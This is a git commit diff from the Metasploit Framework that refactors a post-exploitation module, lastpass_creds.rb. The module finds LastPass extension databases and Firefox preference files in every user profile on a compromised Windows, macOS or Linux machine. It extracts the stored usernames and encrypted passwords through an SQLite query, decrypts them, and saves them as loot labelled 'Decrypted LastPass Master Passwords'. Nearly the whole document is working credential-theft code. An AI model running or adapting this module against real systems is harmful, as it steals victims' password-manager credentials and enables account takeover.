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metasploit-framework
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Merge pull request #3 from jhart-r7/landing-4004-jhart 

Final cleanup of LastPass module -- track account, more *print_ cleaning
bug/bundler_fix
Martin Vigo 2014-10-19 17:19:48 -07:00
parent 09faf2584f 88c1647c80
commit a7dc0b9f07
1 changed files with 75 additions and 63 deletions
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138
modules/post/multi/gather/lastpass_creds.rb
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@ -34,56 +34,60 @@ class Metasploit3 < Msf::Post
return
end
print_status "Searching for LastPass databases..."
print_status "Searching for LastPass databases"
db_map = database_paths # Find databases and get the remote paths
if db_map.empty?
account_map = build_account_map
if account_map.empty?
print_status "No databases found"
return
end
print_status "Extracting credentials from #{db_map.size} LastPass databases"
print_status "Extracting credentials from #{account_map.size} LastPass databases"
# an array of [user, encrypted password, browser]
credentials = [] # All credentials to be decrypted
db_map.each_pair do |browser, paths|
if browser == 'Firefox'
paths.each do |path|
data = read_file(path)
loot_path = store_loot(
'firefox.preferences',
'text/javascript',
session,
data,
nil,
"Firefox preferences file #{path}"
)
account_map.each_pair do |account, browser_map|
browser_map.each_pair do |browser, paths|
if browser == 'Firefox'
paths.each do |path|
data = read_file(path)
loot_path = store_loot(
'firefox.preferences',
'text/javascript',
session,
data,
nil,
"Firefox preferences file #{path}"
)
# Extract usernames and passwords from preference file
firefox_credentials(loot_path).each do |creds|
credentials << [URI.unescape(creds[0]), URI.unescape(creds[1]), browser]
# Extract usernames and passwords from preference file
firefox_credentials(loot_path).each do |creds|
credentials << [account, browser, URI.unescape(creds[0]), URI.unescape(creds[1])]
end
end
end
else # Chrome, Safari and Opera
paths.each do |path|
data = read_file(path)
loot_path = store_loot(
"#{browser.downcase}.lastpass.database",
'application/x-sqlite3',
session,
data,
nil,
"#{browser} LastPass database #{path}"
)
else # Chrome, Safari and Opera
paths.each do |path|
data = read_file(path)
loot_path = store_loot(
"#{browser.downcase}.lastpass.database",
'application/x-sqlite3',
session,
data,
nil,
"#{account}'s #{browser} LastPass database #{path}"
)
# Parsing/Querying the DB
db = SQLite3::Database.new(loot_path)
user, pass = db.execute(
"SELECT username, password FROM LastPassSavedLogins2 " \
"WHERE username IS NOT NULL AND username != '' " \
"AND password IS NOT NULL AND password != '';"
).flatten
credentials << [user, pass, browser] if user && pass
# Parsing/Querying the DB
db = SQLite3::Database.new(loot_path)
lastpass_user, lastpass_pass = db.execute(
"SELECT username, password FROM LastPassSavedLogins2 " \
"WHERE username IS NOT NULL AND username != '' " \
"AND password IS NOT NULL AND password != '';"
).flatten
if lastpass_user && lastpass_pass
credentials << [account, browser, lastpass_user, lastpass_pass]
end
end
end
end
end
@ -91,30 +95,33 @@ class Metasploit3 < Msf::Post
credentials_table = Rex::Ui::Text::Table.new(
'Header' => "LastPass credentials",
'Indent' => 1,
'Columns' => %w(Username Password Browser)
'Columns' => %w(Account Browser LastPass_Username LastPass_Password)
)
# Parse and decrypt credentials
credentials.each do |row| # Decrypt passwords
user, enc_pass, browser = row
vprint_status "Decrypting password for user #{user} from #{browser}..."
account, browser, user, enc_pass = row
vprint_status "Decrypting password for #{account}'s #{user} from #{browser}"
password = clear_text_password(user, enc_pass)
credentials_table << [user, password, browser]
credentials_table << [account, browser, user, password]
end
unless credentials.empty?
print_good credentials_table.to_s
path = store_loot(
"lastpass.creds",
"text/csv",
session,
credentials_table.to_csv,
nil,
"Decrypted LastPass Master Passwords"
)
end
print_good credentials_table.to_s unless credentials.empty?
end
# Finds the databases in the victim's machine
def database_paths
# Returns a mapping of { Account => { Browser => paths } }
def build_account_map
platform = session.platform
profiles = user_profiles
found_dbs_map = {
'Chrome' => [],
'Firefox' => [],
'Opera' => [],
'Safari' => []
}
browser_path_map = {}
found_dbs_map = {}
if datastore['VERBOSE']
vprint_status "Found #{profiles.size} users: #{profiles.map { |p| p['UserName'] }.join(', ')}"
@ -123,7 +130,9 @@ class Metasploit3 < Msf::Post
end
profiles.each do |user_profile|
username = user_profile['UserName']
account = user_profile['UserName']
browser_path_map = {}
case platform
when /win/
browser_path_map = {
@ -145,30 +154,33 @@ class Metasploit3 < Msf::Post
'Safari' => "#{user_profile['AppData']}/Safari/Databases/safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0"
}
else
print_error "platform not recognized: #{platform}"
print_error "Platform not recognized: #{platform}"
end
found_dbs_map[account] = {}
browser_path_map.each_pair do |browser, path|
found_dbs_map[browser] |= find_db_paths(path, browser, username)
db_paths = find_db_paths(path, browser, account)
found_dbs_map[account][browser] = db_paths unless db_paths.empty?
end
end
found_dbs_map.delete_if { |browser, paths| paths.empty? }
#found_dbs_map.delete_if { |account, browser_map paths.empty? }
found_dbs_map
end
# Returns a list of DB paths found in the victims' machine
def find_db_paths(path, browser, username)
def find_db_paths(path, browser, account)
paths = []
vprint_status "Checking #{username}'s #{browser}..."
vprint_status "Checking #{account}'s #{browser}"
if browser == "Firefox" # Special case for Firefox
profiles = firefox_profile_files(path, browser)
paths |= profiles
else
paths |= file_paths(path, browser, username)
paths |= file_paths(path, browser, account)
end
vprint_good "Found #{paths.size} #{browser} databases for #{username}"
vprint_good "Found #{paths.size} #{browser} databases for #{account}"
paths
end
@ -205,7 +217,7 @@ class Metasploit3 < Msf::Post
end
# Extracts the databases paths from the given folder ignoring . and ..
def file_paths(path, browser, username)
def file_paths(path, browser, account)
found_dbs_paths = []
if directory?(path)